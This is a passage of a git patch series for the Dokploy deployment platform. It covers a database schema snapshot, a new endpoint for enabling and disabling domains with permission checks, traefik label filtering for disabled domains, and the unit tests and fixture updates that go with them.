+ "tableFrom": "project_tag",
+ "tableTo": "tag",
+ "columnsFrom": [
+ "tagId"
+ ],
+ "columnsTo": [
+ "tagId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "unique_project_tag": {
+ "name": "unique_project_tag",
+ "nullsNotDistinct": false,
+ "columns": [
+ "projectId",
+ "tagId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.tag": {
+ "name": "tag",
+ "schema": "",
+ "columns": {
+ "tagId": {
+ "name": "tagId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "color": {
+ "name": "color",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "tag_organizationId_organization_id_fk": {
+ "name": "tag_organizationId_organization_id_fk",
+ "tableFrom": "tag",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "unique_org_tag_name": {
+ "name": "unique_org_tag_name",
+ "nullsNotDistinct": false,
+ "columns": [
+ "organizationId",
+ "name"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user": {
+ "name": "user",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "firstName": {
+ "name": "firstName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "lastName": {
+ "name": "lastName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "isRegistered": {
+ "name": "isRegistered",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "expirationDate": {
+ "name": "expirationDate",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "now()"
+ },
+ "two_factor_enabled": {
+ "name": "two_factor_enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email_verified": {
+ "name": "email_verified",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "image": {
+ "name": "image",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "banned": {
+ "name": "banned",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ban_reason": {
+ "name": "ban_reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ban_expires": {
+ "name": "ban_expires",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'user'"
+ },
+ "enablePaidFeatures": {
+ "name": "enablePaidFeatures",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "allowImpersonation": {
+ "name": "allowImpersonation",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "enableEnterpriseFeatures": {
+ "name": "enableEnterpriseFeatures",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "licenseKey": {
+ "name": "licenseKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isValidEnterpriseLicense": {
+ "name": "isValidEnterpriseLicense",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "stripeCustomerId": {
+ "name": "stripeCustomerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stripeSubscriptionId": {
+ "name": "stripeSubscriptionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serversQuantity": {
+ "name": "serversQuantity",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "sendInvoiceNotifications": {
+ "name": "sendInvoiceNotifications",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "isEnterpriseCloud": {
+ "name": "isEnterpriseCloud",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "trustedOrigins": {
+ "name": "trustedOrigins",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bookmarkedTemplates": {
+ "name": "bookmarkedTemplates",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "ARRAY[]::text[]"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "user_email_unique": {
+ "name": "user_email_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "email"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.volume_backup": {
+ "name": "volume_backup",
+ "schema": "",
+ "columns": {
+ "volumeBackupId": {
+ "name": "volumeBackupId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "volumeName": {
+ "name": "volumeName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "prefix": {
+ "name": "prefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serviceType": {
+ "name": "serviceType",
+ "type": "serviceType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'application'"
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serviceName": {
+ "name": "serviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "turnOff": {
+ "name": "turnOff",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "cronExpression": {
+ "name": "cronExpression",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "keepLatestCount": {
+ "name": "keepLatestCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "postgresId": {
+ "name": "postgresId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mariadbId": {
+ "name": "mariadbId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mongoId": {
+ "name": "mongoId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mysqlId": {
+ "name": "mysqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redisId": {
+ "name": "redisId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "libsqlId": {
+ "name": "libsqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "destinationId": {
+ "name": "destinationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "volume_backup_applicationId_application_applicationId_fk": {
+ "name": "volume_backup_applicationId_application_applicationId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_postgresId_postgres_postgresId_fk": {
+ "name": "volume_backup_postgresId_postgres_postgresId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "postgres",
+ "columnsFrom": [
+ "postgresId"
+ ],
+ "columnsTo": [
+ "postgresId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_mariadbId_mariadb_mariadbId_fk": {
+ "name": "volume_backup_mariadbId_mariadb_mariadbId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "mariadb",
+ "columnsFrom": [
+ "mariadbId"
+ ],
+ "columnsTo": [
+ "mariadbId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_mongoId_mongo_mongoId_fk": {
+ "name": "volume_backup_mongoId_mongo_mongoId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "mongo",
+ "columnsFrom": [
+ "mongoId"
+ ],
+ "columnsTo": [
+ "mongoId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_mysqlId_mysql_mysqlId_fk": {
+ "name": "volume_backup_mysqlId_mysql_mysqlId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "mysql",
+ "columnsFrom": [
+ "mysqlId"
+ ],
+ "columnsTo": [
+ "mysqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_redisId_redis_redisId_fk": {
+ "name": "volume_backup_redisId_redis_redisId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "redis",
+ "columnsFrom": [
+ "redisId"
+ ],
+ "columnsTo": [
+ "redisId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_libsqlId_libsql_libsqlId_fk": {
+ "name": "volume_backup_libsqlId_libsql_libsqlId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "libsql",
+ "columnsFrom": [
+ "libsqlId"
+ ],
+ "columnsTo": [
+ "libsqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_composeId_compose_composeId_fk": {
+ "name": "volume_backup_composeId_compose_composeId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "volume_backup_destinationId_destination_destinationId_fk": {
+ "name": "volume_backup_destinationId_destination_destinationId_fk",
+ "tableFrom": "volume_backup",
+ "tableTo": "destination",
+ "columnsFrom": [
+ "destinationId"
+ ],
+ "columnsTo": [
+ "destinationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.webServerSettings": {
+ "name": "webServerSettings",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "serverIp": {
+ "name": "serverIp",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "certificateType": {
+ "name": "certificateType",
+ "type": "certificateType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'none'"
+ },
+ "https": {
+ "name": "https",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "host": {
+ "name": "host",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "letsEncryptEmail": {
+ "name": "letsEncryptEmail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sshPrivateKey": {
+ "name": "sshPrivateKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enableDockerCleanup": {
+ "name": "enableDockerCleanup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "logCleanupCron": {
+ "name": "logCleanupCron",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'0 0 * * *'"
+ },
+ "metricsConfig": {
+ "name": "metricsConfig",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{\"server\":{\"type\":\"Dokploy\",\"refreshRate\":60,\"port\":4500,\"token\":\"\",\"retentionDays\":2,\"cronJob\":\"\",\"urlCallback\":\"\",\"thresholds\":{\"cpu\":0,\"memory\":0}},\"containers\":{\"refreshRate\":60,\"services\":{\"include\":[],\"exclude\":[]}}}'::jsonb"
+ },
+ "whitelabelingConfig": {
+ "name": "whitelabelingConfig",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{\"appName\":null,\"appDescription\":null,\"logoUrl\":null,\"faviconUrl\":null,\"customCss\":null,\"loginLogoUrl\":null,\"supportUrl\":null,\"docsUrl\":null,\"errorPageTitle\":null,\"errorPageDescription\":null,\"metaTitle\":null,\"footerText\":null}'::jsonb"
+ },
+ "remoteServersOnly": {
+ "name": "remoteServersOnly",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "buildsConcurrency": {
+ "name": "buildsConcurrency",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "enforceSSO": {
+ "name": "enforceSSO",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "cleanupCacheApplications": {
+ "name": "cleanupCacheApplications",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "cleanupCacheOnPreviews": {
+ "name": "cleanupCacheOnPreviews",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "cleanupCacheOnCompose": {
+ "name": "cleanupCacheOnCompose",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ }
+ },
+ "enums": {
+ "public.buildType": {
+ "name": "buildType",
+ "schema": "public",
+ "values": [
+ "dockerfile",
+ "heroku_buildpacks",
+ "paketo_buildpacks",
+ "nixpacks",
+ "static",
+ "railpack"
+ ]
+ },
+ "public.sourceType": {
+ "name": "sourceType",
+ "schema": "public",
+ "values": [
+ "docker",
+ "git",
+ "github",
+ "gitlab",
+ "bitbucket",
+ "gitea",
+ "drop"
+ ]
+ },
+ "public.backupType": {
+ "name": "backupType",
+ "schema": "public",
+ "values": [
+ "database",
+ "compose"
+ ]
+ },
+ "public.databaseType": {
+ "name": "databaseType",
+ "schema": "public",
+ "values": [
+ "postgres",
+ "mariadb",
+ "mysql",
+ "mongo",
+ "web-server",
+ "libsql"
+ ]
+ },
+ "public.composeType": {
+ "name": "composeType",
+ "schema": "public",
+ "values": [
+ "docker-compose",
+ "stack"
+ ]
+ },
+ "public.sourceTypeCompose": {
+ "name": "sourceTypeCompose",
+ "schema": "public",
+ "values": [
+ "git",
+ "github",
+ "gitlab",
+ "bitbucket",
+ "gitea",
+ "raw"
+ ]
+ },
+ "public.deploymentStatus": {
+ "name": "deploymentStatus",
+ "schema": "public",
+ "values": [
+ "running",
+ "done",
+ "error",
+ "cancelled"
+ ]
+ },
+ "public.domainType": {
+ "name": "domainType",
+ "schema": "public",
+ "values": [
+ "compose",
+ "application",
+ "preview"
+ ]
+ },
+ "public.gitProviderType": {
+ "name": "gitProviderType",
+ "schema": "public",
+ "values": [
+ "github",
+ "gitlab",
+ "bitbucket",
+ "gitea"
+ ]
+ },
+ "public.mountType": {
+ "name": "mountType",
+ "schema": "public",
+ "values": [
+ "bind",
+ "volume",
+ "file"
+ ]
+ },
+ "public.serviceType": {
+ "name": "serviceType",
+ "schema": "public",
+ "values": [
+ "application",
+ "postgres",
+ "mysql",
+ "mariadb",
+ "mongo",
+ "redis",
+ "compose",
+ "libsql"
+ ]
+ },
+ "public.notificationType": {
+ "name": "notificationType",
+ "schema": "public",
+ "values": [
+ "slack",
+ "telegram",
+ "discord",
+ "email",
+ "resend",
+ "gotify",
+ "ntfy",
+ "mattermost",
+ "pushover",
+ "custom",
+ "lark",
+ "teams"
+ ]
+ },
+ "public.patchType": {
+ "name": "patchType",
+ "schema": "public",
+ "values": [
+ "create",
+ "update",
+ "delete"
+ ]
+ },
+ "public.protocolType": {
+ "name": "protocolType",
+ "schema": "public",
+ "values": [
+ "tcp",
+ "udp"
+ ]
+ },
+ "public.publishModeType": {
+ "name": "publishModeType",
+ "schema": "public",
+ "values": [
+ "ingress",
+ "host"
+ ]
+ },
+ "public.RegistryType": {
+ "name": "RegistryType",
+ "schema": "public",
+ "values": [
+ "selfHosted",
+ "cloud"
+ ]
+ },
+ "public.scheduleType": {
+ "name": "scheduleType",
+ "schema": "public",
+ "values": [
+ "application",
+ "compose",
+ "server",
+ "dokploy-server"
+ ]
+ },
+ "public.shellType": {
+ "name": "shellType",
+ "schema": "public",
+ "values": [
+ "bash",
+ "sh"
+ ]
+ },
+ "public.serverStatus": {
+ "name": "serverStatus",
+ "schema": "public",
+ "values": [
+ "active",
+ "inactive"
+ ]
+ },
+ "public.serverType": {
+ "name": "serverType",
+ "schema": "public",
+ "values": [
+ "deploy",
+ "build"
+ ]
+ },
+ "public.applicationStatus": {
+ "name": "applicationStatus",
+ "schema": "public",
+ "values": [
+ "idle",
+ "running",
+ "done",
+ "error"
+ ]
+ },
+ "public.certificateType": {
+ "name": "certificateType",
+ "schema": "public",
+ "values": [
+ "letsencrypt",
+ "none",
+ "custom"
+ ]
+ },
+ "public.sqldNode": {
+ "name": "sqldNode",
+ "schema": "public",
+ "values": [
+ "primary",
+ "replica"
+ ]
+ },
+ "public.triggerType": {
+ "name": "triggerType",
+ "schema": "public",
+ "values": [
+ "push",
+ "tag"
+ ]
+ }
+ },
+ "schemas": {},
+ "sequences": {},
+ "roles": {},
+ "policies": {},
+ "views": {},
+ "_meta": {
+ "columns": {},
+ "schemas": {},
+ "tables": {}
+ }
+}
\ No newline at end of file
diff --git a/apps/dokploy/drizzle/meta/_journal.json b/apps/dokploy/drizzle/meta/_journal.json
index cb54c899b..86340893a 100644
--- a/apps/dokploy/drizzle/meta/_journal.json
+++ b/apps/dokploy/drizzle/meta/_journal.json
@@ -1226,6 +1226,13 @@
"when": 1783674181297,
"tag": "0174_great_naoko",
"breakpoints": true
+ },
+ {
+ "idx": 175,
+ "version": "7",
+ "when": 1783941126738,
+ "tag": "0175_rare_omega_flight",
+ "breakpoints": true
}
]
}
\ No newline at end of file
diff --git a/apps/dokploy/server/api/routers/domain.ts b/apps/dokploy/server/api/routers/domain.ts
index 8210fcf8a..505db50c6 100644
--- a/apps/dokploy/server/api/routers/domain.ts
+++ b/apps/dokploy/server/api/routers/domain.ts
@@ -141,6 +141,58 @@ export const domainRouter = createTRPCRouter({
}
return result;
}),
+ toggleEnable: protectedProcedure
+ .input(apiFindDomain)
+ .mutation(async ({ input, ctx }) => {
+ const currentDomain = await findDomainById(input.domainId);
+ const serviceId = currentDomain.applicationId || currentDomain.composeId;
+ if (serviceId) {
+ await checkServicePermissionAndAccess(ctx, serviceId, {
+ domain: ["create"],
+ });
+ } else if (currentDomain.previewDeploymentId) {
+ const preview = await findPreviewDeploymentById(
+ currentDomain.previewDeploymentId,
+ );
+ await checkServicePermissionAndAccess(ctx, preview.applicationId, {
+ domain: ["create"],
+ });
+ }
+
+ const result = await updateDomainById(input.domainId, {
+ enabled: !currentDomain.enabled,
+ });
+ const domain = await findDomainById(input.domainId);
+ await audit(ctx, {
+ action: "update",
+ resourceType: "domain",
+ resourceId: domain.domainId,
+ resourceName: domain.host,
+ });
+
+ // Applications apply instantly through the traefik file provider:
+ // manageDomain creates the router when enabled and removes it when
+ // disabled. Compose domains are docker labels and only change on the
+ // next deployment, so we just persist the flag here.
+ if (domain.applicationId) {
+ const application = await findApplicationById(domain.applicationId);
+ await manageDomain(application, domain);
+ } else if (domain.previewDeploymentId) {
+ const previewDeployment = await findPreviewDeploymentById(
+ domain.previewDeploymentId,
+ );
+ const application = await findApplicationById(
+ previewDeployment.applicationId,
+ );
+ application.appName = previewDeployment.appName;
+ await manageDomain(application, domain);
+ }
+
+ return {
+ ...result,
+ requiresRedeploy: domain.domainType === "compose",
+ };
+ }),
one: protectedProcedure.input(apiFindDomain).query(async ({ input, ctx }) => {
const domain = await findDomainById(input.domainId);
const serviceId = domain.applicationId || domain.composeId;
diff --git a/packages/server/src/db/schema/domain.ts b/packages/server/src/db/schema/domain.ts
index 092275fde..54a0a5851 100644
--- a/packages/server/src/db/schema/domain.ts
+++ b/packages/server/src/db/schema/domain.ts
@@ -56,6 +56,7 @@ export const domains = pgTable("domain", {
stripPath: boolean("stripPath").notNull().default(false),
middlewares: text("middlewares").array().default(sql`ARRAY[]::text[]`),
forwardAuthEnabled: boolean("forwardAuthEnabled").notNull().default(false),
+ enabled: boolean("enabled").notNull().default(true),
});
export const domainsRelations = relations(domains, ({ one }) => ({
@@ -129,5 +130,6 @@ export const apiUpdateDomain = createSchema
stripPath: true,
middlewares: true,
forwardAuthEnabled: true,
+ enabled: true,
})
.merge(createSchema.pick({ domainId: true }).required());
diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts
index 8094f1df2..26b47535d 100644
--- a/packages/server/src/utils/docker/domain.ts
+++ b/packages/server/src/utils/docker/domain.ts
@@ -161,7 +161,8 @@ export const addDomainToCompose = async (
result = randomized;
}
- for (const domain of domains) {
+ // Disabled domains keep their config but must not produce any traefik labels.
+ for (const domain of domains.filter((d) => d.enabled)) {
const { serviceName, https } = domain;
if (!serviceName) {
throw new Error(`Domain "${domain.host}" is missing a service name`);
diff --git a/packages/server/src/utils/traefik/domain.ts b/packages/server/src/utils/traefik/domain.ts
index d35473a54..b23796301 100644
--- a/packages/server/src/utils/traefik/domain.ts
+++ b/packages/server/src/utils/traefik/domain.ts
@@ -19,6 +19,15 @@ import { createPathMiddlewares, removePathMiddlewares } from "./middleware";
export const manageDomain = async (app: ApplicationNested, domain: Domain) => {
const { appName } = app;
+
+ // A disabled domain keeps its configuration in the database but must never
+ // expose a traefik router. Guarding here covers every caller (create, update,
+ // forward-auth, toggle) so a disabled domain can't be revived from any path.
+ if (!domain.enabled) {
+ await removeDomain(app, domain.uniqueConfigKey);
+ return;
+ }
+
let config: FileConfig;
if (app.serverId) {
From 52eb38fa486b1f266500399d975870759027157e Mon Sep 17 00:00:00 2001
From: Vyacheslav Scherbinin
Date: Thu, 25 Jun 2026 00:58:26 +0700
Subject: [PATCH 038/419] test(domains): cover disabled-domain filtering for
compose
Add unit tests for addDomainToCompose verifying that a disabled domain
produces no traefik labels, an enabled domain does, and only the enabled
one emits labels when both are attached to the same service. Mocks node:fs
so loadDockerCompose runs against an in-memory compose spec.
Co-Authored-By: Claude Opus 4.8 (1M context)
---
.../compose/domain/enabled-filter.test.ts | 110 ++++++++++++++++++
1 file changed, 110 insertions(+)
create mode 100644 apps/dokploy/__test__/compose/domain/enabled-filter.test.ts
diff --git a/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts b/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts
new file mode 100644
index 000000000..329d4ef4b
--- /dev/null
+++ b/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts
@@ -0,0 +1,110 @@
+import type { Compose } from "@dokploy/server/services/compose";
+import type { Domain } from "@dokploy/server/services/domain";
+import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// addDomainToCompose reads the compose file from disk through loadDockerCompose
+// (existsSync + readFileSync). Mock node:fs so the function runs its real
+// label-generation logic against an in-memory compose spec.
+const composeYaml = `
+services:
+ frigate:
+ image: frigate
+`;
+
+vi.mock("node:fs", async (importOriginal) => {
+ const actual = await importOriginal();
+ return {
+ ...actual,
+ existsSync: vi.fn(() => true),
+ readFileSync: vi.fn(() => composeYaml),
+ };
+});
+
+const baseCompose = {
+ appName: "test-app",
+ composeType: "docker-compose",
+ composePath: "docker-compose.yml",
+ sourceType: "raw",
+ serverId: null,
+ isolatedDeployment: false,
+ randomize: false,
+ suffix: "",
+} as unknown as Compose;
+
+const baseDomain: Domain = {
+ host: "frigate.example.com",
+ port: 8971,
+ customEntrypoint: null,
+ https: false,
+ uniqueConfigKey: 1,
+ customCertResolver: null,
+ certificateType: "none",
+ applicationId: "",
+ composeId: "compose-id",
+ domainType: "compose",
+ serviceName: "frigate",
+ domainId: "domain-id",
+ path: "/",
+ createdAt: "",
+ previewDeploymentId: "",
+ internalPath: "/",
+ stripPath: false,
+ middlewares: null,
+ forwardAuthEnabled: false,
+ enabled: true,
+};
+
+const serviceLabels = (
+ result: Awaited>,
+) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
+
+describe("addDomainToCompose enabled filtering", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("generates traefik labels for an enabled domain", async () => {
+ const result = await addDomainToCompose(baseCompose, [
+ { ...baseDomain, enabled: true },
+ ]);
+
+ const labels = serviceLabels(result);
+ expect(labels).toContain("traefik.enable=true");
+ expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
+ true,
+ );
+ });
+
+ it("skips a disabled domain entirely (no traefik labels)", async () => {
+ const result = await addDomainToCompose(baseCompose, [
+ { ...baseDomain, enabled: false },
+ ]);
+
+ const labels = serviceLabels(result);
+ expect(labels).not.toContain("traefik.enable=true");
+ expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
+ false,
+ );
+ });
+
+ it("emits labels only for the enabled domain when both are present", async () => {
+ const result = await addDomainToCompose(baseCompose, [
+ { ...baseDomain, host: "enabled.example.com", enabled: true },
+ {
+ ...baseDomain,
+ host: "disabled.example.com",
+ uniqueConfigKey: 2,
+ enabled: false,
+ },
+ ]);
+
+ const labels = serviceLabels(result);
+ expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
+ true,
+ );
+ expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
+ false,
+ );
+ });
+});
From 0e3c228c4e79db16b6dd334ee0032ec38d654290 Mon Sep 17 00:00:00 2001
From: Vyacheslav Scherbinin
Date: Thu, 25 Jun 2026 01:30:23 +0700
Subject: [PATCH 039/419] test(domains): add enabled to existing domain
fixtures
The new non-null `enabled` column makes it a required field on the Domain
type, so the existing traefik/compose test fixtures need it too. Adds
`enabled: true` to each base fixture (spread-based fixtures inherit it).
Fixes the apps/dokploy typecheck failure on CI.
Co-Authored-By: Claude Opus 4.8 (1M context)
---
apps/dokploy/__test__/compose/domain/host-rule-format.test.ts | 1 +
apps/dokploy/__test__/compose/domain/labels.test.ts | 1 +
apps/dokploy/__test__/traefik/forward-auth.test.ts | 1 +
apps/dokploy/__test__/traefik/traefik.test.ts | 1 +
4 files changed, 4 insertions(+)
diff --git a/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts b/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts
index 07fc42c33..027e2f69d 100644
--- a/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts
+++ b/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts
@@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => {
customEntrypoint: null,
middlewares: null,
forwardAuthEnabled: false,
+ enabled: true,
};
describe("Host rule format validation", () => {
diff --git a/apps/dokploy/__test__/compose/domain/labels.test.ts b/apps/dokploy/__test__/compose/domain/labels.test.ts
index e48b54452..57e018baf 100644
--- a/apps/dokploy/__test__/compose/domain/labels.test.ts
+++ b/apps/dokploy/__test__/compose/domain/labels.test.ts
@@ -24,6 +24,7 @@ describe("createDomainLabels", () => {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
+ enabled: true,
};
it("should create basic labels for web entrypoint", async () => {
diff --git a/apps/dokploy/__test__/traefik/forward-auth.test.ts b/apps/dokploy/__test__/traefik/forward-auth.test.ts
index 9bc9a1f9e..7b2ecca63 100644
--- a/apps/dokploy/__test__/traefik/forward-auth.test.ts
+++ b/apps/dokploy/__test__/traefik/forward-auth.test.ts
@@ -35,6 +35,7 @@ const baseDomain: Domain = {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
+ enabled: true,
};
describe("forwardAuthMiddlewareName", () => {
diff --git a/apps/dokploy/__test__/traefik/traefik.test.ts b/apps/dokploy/__test__/traefik/traefik.test.ts
index 68758ca2d..743562782 100644
--- a/apps/dokploy/__test__/traefik/traefik.test.ts
+++ b/apps/dokploy/__test__/traefik/traefik.test.ts
